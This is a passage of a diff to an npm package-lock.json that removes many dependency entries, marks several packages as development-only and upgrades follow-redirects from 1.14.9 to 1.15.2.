+- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
+- }
+- }
+- },
+- "csv-stringify": {
+- "version": "5.6.5",
+- "resolved": "https://registry.npmjs.org/csv-stringify/-/csv-stringify-5.6.5.tgz",
+- "integrity": "sha512-PjiQ659aQ+fUTQqSrd1XEDnOr52jh30RBurfzkscaE2tPaFsDH5wOAHJiw8XAHphRknCwMUE9KRayc4K/NbO8A=="
+- },
+ "cuid": {
+ "version": "2.1.8",
+ "resolved": "https://registry.npmjs.org/cuid/-/cuid-2.1.8.tgz",
+@@ -49467,11 +40311,6 @@
+ "integrity": "sha512-7P3FyqDcfeznLZp2b+OMitV9Sz2lUnsT87WaTat9nVwqsBkTzPG3lPLNwW3en6F4pHUiWzr6vb8CLhjdK9bcxQ==",
+ "dev": true
+ },
+- "date-utils": {
+- "version": "1.2.21",
+- "resolved": "https://registry.npmjs.org/date-utils/-/date-utils-1.2.21.tgz",
+- "integrity": "sha1-YfsWzcEnSzyayq/+n8ad+HIKK2Q="
+- },
+ "dateformat": {
+ "version": "1.0.4-1.2.3",
+ "resolved": "https://registry.npmjs.org/dateformat/-/dateformat-1.0.4-1.2.3.tgz",
+@@ -49522,19 +40361,6 @@
+ "integrity": "sha512-V0pfhfr8suzyPGOx3nmq4aHqabehUZn6Ch9kyFpV79TGDTWFmHqUqXdabR7QHqxzrYolF4+tVmJhUG4OURg5dQ==",
+ "dev": true
+ },
+- "decode-uri-component": {
+- "version": "0.2.0",
+- "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz",
+- "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU="
+- },
+- "decompress-response": {
+- "version": "3.3.0",
+- "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz",
+- "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=",
+- "requires": {
+- "mimic-response": "^1.0.0"
+- }
+- },
+ "deep-eql": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-3.0.1.tgz",
+@@ -49561,7 +40387,8 @@
+ "deep-extend": {
+ "version": "0.6.0",
+ "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz",
+- "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA=="
++ "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==",
++ "dev": true
+ },
+ "deep-is": {
+ "version": "0.1.4",
+@@ -49572,7 +40399,8 @@
+ "deepmerge": {
+ "version": "4.2.2",
+ "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz",
+- "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg=="
++ "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==",
++ "dev": true
+ },
+ "default-gateway": {
+ "version": "6.0.3",
+@@ -49592,11 +40420,6 @@
+ "strip-bom": "^4.0.0"
+ }
+ },
+- "defer-to-connect": {
+- "version": "1.1.3",
+- "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-1.1.3.tgz",
+- "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ=="
+- },
+ "define-lazy-prop": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz",
+@@ -49611,15 +40434,6 @@
+ "object-keys": "^1.0.12"
+ }
+ },
+- "define-property": {
+- "version": "2.0.2",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
+- "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
+- "requires": {
+- "is-descriptor": "^1.0.2",
+- "isobject": "^3.0.1"
+- }
+- },
+ "del": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/del/-/del-6.0.0.tgz",
+@@ -49688,14 +40502,6 @@
+ "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz",
+ "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o="
+ },
+- "democracy": {
+- "version": "3.1.3",
+- "resolved": "https://registry.npmjs.org/democracy/-/democracy-3.1.3.tgz",
+- "integrity": "sha512-8mvV1WelrEb5/vbXhIxSKCcn5ryErS4Dbscl0y158IsCjaI4kJHZ9fV+rbxztf/ZxJUSRpRB/ow1NBw6bxYoxg==",
+- "requires": {
+- "shortid": "2.2.14"
+- }
+- },
+ "denque": {
+ "version": "1.5.1",
+ "resolved": "https://registry.npmjs.org/denque/-/denque-1.5.1.tgz",
+@@ -49706,21 +40512,11 @@
+ "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz",
+ "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak="
+ },
+- "deprecation": {
+- "version": "2.3.1",
+- "resolved": "https://registry.npmjs.org/deprecation/-/deprecation-2.3.1.tgz",
+- "integrity": "sha512-xmHIy4F3scKVwMsQ4WnVaS8bHOx0DmVwRywosKhaILI0ywMDWPtBSku2HNxRvF7jtwDRsoEwYQSfbxj8b7RlJQ=="
+- },
+ "destroy": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz",
+ "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA="
+ },
+- "detect-file": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/detect-file/-/detect-file-1.0.0.tgz",
+- "integrity": "sha1-8NZtA2cqglyxtzvbP+YjEMjlUrc="
+- },
+ "detect-libc": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz",
+@@ -50009,11 +40805,6 @@
+ "is-obj": "^2.0.0"
+ }
+ },
+- "dottie": {
+- "version": "2.0.2",
+- "resolved": "https://registry.npmjs.org/dottie/-/dottie-2.0.2.tgz",
+- "integrity": "sha512-fmrwR04lsniq/uSr8yikThDTrM7epXHBAAjH9TbeH3rEA8tdCO7mRzB9hdmdGyJCxF8KERo9CITcm3kGuoyMhg=="
+- },
+ "double-ended-queue": {
+ "version": "2.1.0-0",
+ "resolved": "https://registry.npmjs.org/double-ended-queue/-/double-ended-queue-2.1.0-0.tgz",
+@@ -50031,18 +40822,11 @@
+ "tslib": "^2.3.0"
+ }
+ },
+- "dropbox": {
+- "version": "10.24.0",
+- "resolved": "https://registry.npmjs.org/dropbox/-/dropbox-10.24.0.tgz",
+- "integrity": "sha512-/BalM59Bj0unsLThGjfRg0ga7o6gL+Z4U6vv7UjhLlIfxoE+RMx52C4ihbkeSgbxeSvSqv9Tvnj99Lx4SBeNFA==",
+- "requires": {
+- "node-fetch": "^2.6.1"
+- }
+- },
+ "dtrace-provider": {
+ "version": "0.8.8",
+ "resolved": "https://registry.npmjs.org/dtrace-provider/-/dtrace-provider-0.8.8.tgz",
+ "integrity": "sha512-b7Z7cNtHPhH9EJhNNbbeqTcXB8LGFFZhq1PGgEvpeHlzd36bhbdTWoE/Ba/YguqpBSlAPKnARWhVlhunCMwfxg==",
++ "optional": true,
+ "requires": {
+ "nan": "^2.14.0"
+ }
+@@ -50084,11 +40868,6 @@
+ }
+ }
+ },
+- "duplexer3": {
+- "version": "0.1.4",
+- "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz",
+- "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI="
+- },
+ "duplexify": {
+ "version": "3.7.1",
+ "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.7.1.tgz",
+@@ -50182,48 +40961,6 @@
+ "safe-buffer": "^5.0.1"
+ }
+ },
+- "editorconfig": {
+- "version": "0.15.3",
+- "resolved": "https://registry.npmjs.org/editorconfig/-/editorconfig-0.15.3.tgz",
+- "integrity": "sha512-M9wIMFx96vq0R4F+gRpY3o2exzb8hEj/n9S8unZtHSvYjibBp/iMufSzvmOcV/laG0ZtuTVGtiJggPOSW2r93g==",
+- "dev": true,
+- "requires": {
+- "commander": "^2.19.0",
+- "lru-cache": "^4.1.5",
+- "semver": "^5.6.0",
+- "sigmund": "^1.0.1"
+- },
+- "dependencies": {
+- "commander": {
+- "version": "2.20.3",
+- "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
+- "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==",
+- "dev": true
+- },
+- "lru-cache": {
+- "version": "4.1.5",
+- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz",
+- "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==",
+- "dev": true,
+- "requires": {
+- "pseudomap": "^1.0.2",
+- "yallist": "^2.1.2"
+- }
+- },
+- "semver": {
+- "version": "5.7.1",
+- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
+- "dev": true
+- },
+- "yallist": {
+- "version": "2.1.2",
+- "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz",
+- "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=",
+- "dev": true
+- }
+- }
+- },
+ "ee-first": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
+@@ -50232,7 +40969,8 @@
+ "ejs": {
+ "version": "2.5.5",
+ "resolved": "https://registry.npmjs.org/ejs/-/ejs-2.5.5.tgz",
+- "integrity": "sha1-bvTpVOp9z1T2aq0v56pCGTLZ7Xc="
++ "integrity": "sha1-bvTpVOp9z1T2aq0v56pCGTLZ7Xc=",
++ "dev": true
+ },
+ "electron-to-chromium": {
+ "version": "1.4.57",
+@@ -50483,14 +41221,6 @@
+ "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz",
+ "integrity": "sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w=="
+ },
+- "es6-promisify": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/es6-promisify/-/es6-promisify-5.0.0.tgz",
+- "integrity": "sha512-C+d6UdsYDk0lMebHNR4S2NybQMMngAOnOwYBQjTOiv0MkoJMP0Myw2mgpDLBcpfCmRLxyFqYhS/CfOENq4SJhQ==",
+- "requires": {
+- "es6-promise": "^4.0.3"
+- }
+- },
+ "es6-symbol": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.3.tgz",
+@@ -50500,18 +41230,6 @@
+ "ext": "^1.1.2"
+ }
+ },
+- "es6-weak-map": {
+- "version": "2.0.3",
+- "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.3.tgz",
+- "integrity": "sha512-p5um32HOTO1kP+w7PRnB+5lQ43Z6muuMuIMffvDN8ZB4GcnjLBV6zGStpbASIMk4DCAvEaamhe2zhyCb/QXXsA==",
+- "dev": true,
+- "requires": {
+- "d": "1",
+- "es5-ext": "^0.10.46",
+- "es6-iterator": "^2.0.3",
+- "es6-symbol": "^3.1.1"
+- }
+- },
+ "escalade": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz",
+@@ -51023,11 +41741,6 @@
+ "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==",
+ "dev": true
+ },
+- "esm": {
+- "version": "3.2.25",
+- "resolved": "https://registry.npmjs.org/esm/-/esm-3.2.25.tgz",
+- "integrity": "sha512-U1suiZ2oDVWv4zPO56S0NcR5QriEahGtdN2OR6FiOG4WJvcjBVFB0qI4+eKoWFH483PKGuLuu6V8Z4T5g63UVA=="
+- },
+ "espree": {
+ "version": "9.3.2",
+ "resolved": "https://registry.npmjs.org/espree/-/espree-9.3.2.tgz",
+@@ -51189,101 +41902,14 @@
+ "exit": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz",
+- "integrity": "sha1-BjJjj42HfMghB9MKD/8aF8uhzQw="
++ "integrity": "sha1-BjJjj42HfMghB9MKD/8aF8uhzQw=",
++ "dev": true
+ },
+ "exit-on-epipe": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/exit-on-epipe/-/exit-on-epipe-1.0.1.tgz",
+ "integrity": "sha512-h2z5mrROTxce56S+pnvAV890uu7ls7f1kEvVGJbw1OlFH3/mlJ5bkXu0KRyW94v37zzHPiUd55iLn3DA7TjWpw=="
+ },
+- "expand-brackets": {
+- "version": "2.1.4",
+- "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz",
+- "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=",
+- "requires": {
+- "debug": "^2.3.3",
+- "define-property": "^0.2.5",
+- "extend-shallow": "^2.0.1",
+- "posix-character-classes": "^0.1.0",
+- "regex-not": "^1.0.0",
+- "snapdragon": "^0.8.1",
+- "to-regex": "^3.0.1"
+- },
+- "dependencies": {
+- "debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+- "requires": {
+- "ms": "2.0.0"
+- }
+- },
+- "define-property": {
+- "version": "0.2.5",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
+- "requires": {
+- "is-descriptor": "^0.1.0"
+- }
+- },
+- "is-accessor-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
+- "requires": {
+- "kind-of": "^3.0.2"
+- },
+- "dependencies": {
+- "kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "requires": {
+- "is-buffer": "^1.1.5"
+- }
+- }
+- }
+- },
+- "is-data-descriptor": {
+- "version": "0.1.4",
+- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
+- "requires": {
+- "kind-of": "^3.0.2"
+- },
+- "dependencies": {
+- "kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "requires": {
+- "is-buffer": "^1.1.5"
+- }
+- }
+- }
+- },
+- "is-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+- "requires": {
+- "is-accessor-descriptor": "^0.1.6",
+- "is-data-descriptor": "^0.1.4",
+- "kind-of": "^5.0.0"
+- }
+- },
+- "kind-of": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw=="
+- },
+- "ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- }
+- }
+- },
+ "expand-range": {
+ "version": "1.8.2",
+ "resolved": "https://registry.npmjs.org/expand-range/-/expand-range-1.8.2.tgz",
+@@ -51323,14 +41949,6 @@
+ }
+ }
+ },
+- "expand-tilde": {
+- "version": "2.0.2",
+- "resolved": "https://registry.npmjs.org/expand-tilde/-/expand-tilde-2.0.2.tgz",
+- "integrity": "sha1-l+gBqgUt8CRU3kawK/YhZCzchQI=",
+- "requires": {
+- "homedir-polyfill": "^1.0.1"
+- }
+- },
+ "express": {
+ "version": "4.18.1",
+ "resolved": "https://registry.npmjs.org/express/-/express-4.18.1.tgz",
+@@ -51480,14 +42098,6 @@
+ }
+ }
+ },
+- "express-basic-auth": {
+- "version": "1.2.1",
+- "resolved": "https://registry.npmjs.org/express-basic-auth/-/express-basic-auth-1.2.1.tgz",
+- "integrity": "sha512-L6YQ1wQ/mNjVLAmK3AG1RK6VkokA1BIY6wmiH304Xtt/cLTps40EusZsU1Uop+v9lTDPxdtzbFmdXfFO3KEnwA==",
+- "requires": {
+- "basic-auth": "^2.0.1"
+- }
+- },
+ "express-bearer-token": {
+ "version": "2.4.0",
+ "resolved": "https://registry.npmjs.org/express-bearer-token/-/express-bearer-token-2.4.0.tgz",
+@@ -51596,35 +42206,11 @@
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
++ "dev": true,
+ "requires": {
+ "is-extendable": "^0.1.0"
+ }
+ },
+- "extglob": {
+- "version": "2.0.4",
+- "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz",
+- "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
+- "requires": {
+- "array-unique": "^0.3.2",
+- "define-property": "^1.0.0",
+- "expand-brackets": "^2.1.4",
+- "extend-shallow": "^2.0.1",
+- "fragment-cache": "^0.2.1",
+- "regex-not": "^1.0.0",
+- "snapdragon": "^0.8.1",
+- "to-regex": "^3.0.1"
+- },
+- "dependencies": {
+- "define-property": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+- "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
+- "requires": {
+- "is-descriptor": "^1.0.0"
+- }
+- }
+- }
+- },
+ "extract-zip": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.1.tgz",
+@@ -51689,11 +42275,6 @@
+ "micromatch": "^4.0.4"
+ }
+ },
+- "fast-json-patch": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/fast-json-patch/-/fast-json-patch-3.1.0.tgz",
+- "integrity": "sha512-IhpytlsVTRndz0hU5t0/MGzS/etxLlfrpG5V5M9mVbuj9TrJLWaMfsox9REM5rkuGX0T+5qjpe8XA1o0gZ42nA=="
+- },
+ "fast-json-stable-stringify": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
+@@ -51705,11 +42286,6 @@
+ "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=",
+ "dev": true
+ },
+- "fast-safe-stringify": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz",
+- "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA=="
+- },
+ "fast-text-encoding": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/fast-text-encoding/-/fast-text-encoding-1.0.3.tgz",
+@@ -51759,24 +42335,6 @@
+ "pend": "~1.2.0"
+ }
+ },
+- "feature-detect-es6": {
+- "version": "1.5.0",
+- "resolved": "https://registry.npmjs.org/feature-detect-es6/-/feature-detect-es6-1.5.0.tgz",
+- "integrity": "sha512-DzWPIGzTnfp3/KK1d/YPfmgLqeDju9F2DQYBL35VusgSApcA7XGqVtXfR4ETOOFEzdFJ3J7zh0Gkk011TiA4uQ==",
+- "requires": {
+- "array-back": "^1.0.4"
+- },
+- "dependencies": {
+- "array-back": {
+- "version": "1.0.4",
+- "resolved": "https://registry.npmjs.org/array-back/-/array-back-1.0.4.tgz",
+- "integrity": "sha1-ZEun8JX3/898Q7Xw3DnTwfA8Bjs=",
+- "requires": {
+- "typical": "^2.6.0"
+- }
+- }
+- }
+- },
+ "feature-policy": {
+ "version": "0.3.0",
+ "resolved": "https://registry.npmjs.org/feature-policy/-/feature-policy-0.3.0.tgz",
+@@ -51998,130 +42556,6 @@
+ "resolved": "https://registry.npmjs.org/findit2/-/findit2-2.2.3.tgz",
+ "integrity": "sha1-WKRmaX34piBc39vzlVNri9d3pfY="
+ },
+- "findup-sync": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-3.0.0.tgz",
+- "integrity": "sha512-YbffarhcicEhOrm4CtrwdKBdCuz576RLdhJDsIfvNtxUuhdRet1qZcsMjqbePtAseKdAnDyM/IyXbu7PRPRLYg==",
+- "requires": {
+- "detect-file": "^1.0.0",
+- "is-glob": "^4.0.0",
+- "micromatch": "^3.0.4",
+- "resolve-dir": "^1.0.1"
+- },
+- "dependencies": {
+- "braces": {
+- "version": "2.3.2",
+- "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz",
+- "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
+- "requires": {
+- "arr-flatten": "^1.1.0",
+- "array-unique": "^0.3.2",
+- "extend-shallow": "^2.0.1",
+- "fill-range": "^4.0.0",
+- "isobject": "^3.0.1",
+- "repeat-element": "^1.1.2",
+- "snapdragon": "^0.8.1",
+- "snapdragon-node": "^2.0.1",
+- "split-string": "^3.0.2",
+- "to-regex": "^3.0.1"
+- }
+- },
+- "fill-range": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz",
+- "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
+- "requires": {
+- "extend-shallow": "^2.0.1",
+- "is-number": "^3.0.0",
+- "repeat-string": "^1.6.1",
+- "to-regex-range": "^2.1.0"
+- }
+- },
+- "is-extendable": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+- "requires": {
+- "is-plain-object": "^2.0.4"
+- }
+- },
+- "is-number": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz",
+- "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
+- "requires": {
+- "kind-of": "^3.0.2"
+- },
+- "dependencies": {
+- "kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "requires": {
+- "is-buffer": "^1.1.5"
+- }
+- }
+- }
+- },
+- "micromatch": {
+- "version": "3.1.10",
+- "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
+- "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
+- "requires": {
+- "arr-diff": "^4.0.0",
+- "array-unique": "^0.3.2",
+- "braces": "^2.3.1",
+- "define-property": "^2.0.2",
+- "extend-shallow": "^3.0.2",
+- "extglob": "^2.0.4",
+- "fragment-cache": "^0.2.1",
+- "kind-of": "^6.0.2",
+- "nanomatch": "^1.2.9",
+- "object.pick": "^1.3.0",
+- "regex-not": "^1.0.0",
+- "snapdragon": "^0.8.1",
+- "to-regex": "^3.0.2"
+- },
+- "dependencies": {
+- "extend-shallow": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=",
+- "requires": {
+- "assign-symbols": "^1.0.0",
+- "is-extendable": "^1.0.1"
+- }
+- }
+- }
+- },
+- "to-regex-range": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz",
+- "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=",
+- "requires": {
+- "is-number": "^3.0.0",
+- "repeat-string": "^1.6.1"
+- }
+- }
+- }
+- },
+- "fined": {
+- "version": "1.2.0",
+- "resolved": "https://registry.npmjs.org/fined/-/fined-1.2.0.tgz",
+- "integrity": "sha512-ZYDqPLGxDkDhDZBjZBb+oD1+j0rA4E0pXY50eplAAOPg2N/gUBSSk5IM1/QhPfyVo19lJ+CvXpqfvk+b2p/8Ng==",
+- "requires": {
+- "expand-tilde": "^2.0.2",
+- "is-plain-object": "^2.0.3",
+- "object.defaults": "^1.1.0",
+- "object.pick": "^1.2.0",
+- "parse-filepath": "^1.0.1"
+- }
+- },
+- "flagged-respawn": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/flagged-respawn/-/flagged-respawn-1.0.1.tgz",
+- "integrity": "sha512-lNaHNVymajmk0OJMBn8fVUAU1BtDeKIqKoVhk4xAALB57aALg6b4W0MfJ/cUE0g9YBXy5XhSlPIpYIJ7HaY/3Q=="
+- },
+ "flat": {
+ "version": "5.0.2",
+ "resolved": "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz",
+@@ -52159,6 +42593,7 @@
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/flowstate/-/flowstate-0.4.1.tgz",
+ "integrity": "sha1-tfu4t/wte9xbVL5GyYMJ73NvTsA=",
++ "dev": true,
+ "requires": {
+ "clone": "^1.0.2",
+ "uid-safe": "^2.1.0",
+@@ -52168,7 +42603,8 @@
+ "clone": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz",
+- "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4="
++ "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4=",
++ "dev": true
+ }
+ }
+ },
+@@ -52215,9 +42651,9 @@
+ }
+ },
+ "follow-redirects": {
+- "version": "1.14.9",
+- "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.9.tgz",
+- "integrity": "sha512-MQDfihBQYMcyy5dhRDJUHcw7lb2Pv/TuE6xP1vyraLukNDHKbDxDNaOE3NbCAdKQApno+GPRyo1YAp89yCjK4w=="
++ "version": "1.15.2",
++ "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.2.tgz",
++ "integrity": "sha512-VQLG33o04KaQ8uYi2tVNbdrWp1QWxNNea+nmIB4EVM28v0hmP17z7aG1+wAkNzVq4KeXTq3221ye5qTJP91JwA=="
+ },
+ "for-each": {
+ "version": "0.3.3",
+@@ -52230,15 +42666,8 @@
+ "for-in": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz",
+- "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA="
+- },
+- "for-own": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz",
+- "integrity": "sha1-xjMy9BXO3EsE2/5wz4NklMU8tEs=",
+- "requires": {
+- "for-in": "^1.0.1"
+- }
++ "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=",
++ "dev": true
+ },
+ "foreach": {
+ "version": "2.0.5",
+@@ -52260,36 +42689,6 @@
+ "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz",
+ "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE="
+ },
+- "form-data": {
+- "version": "3.0.1",
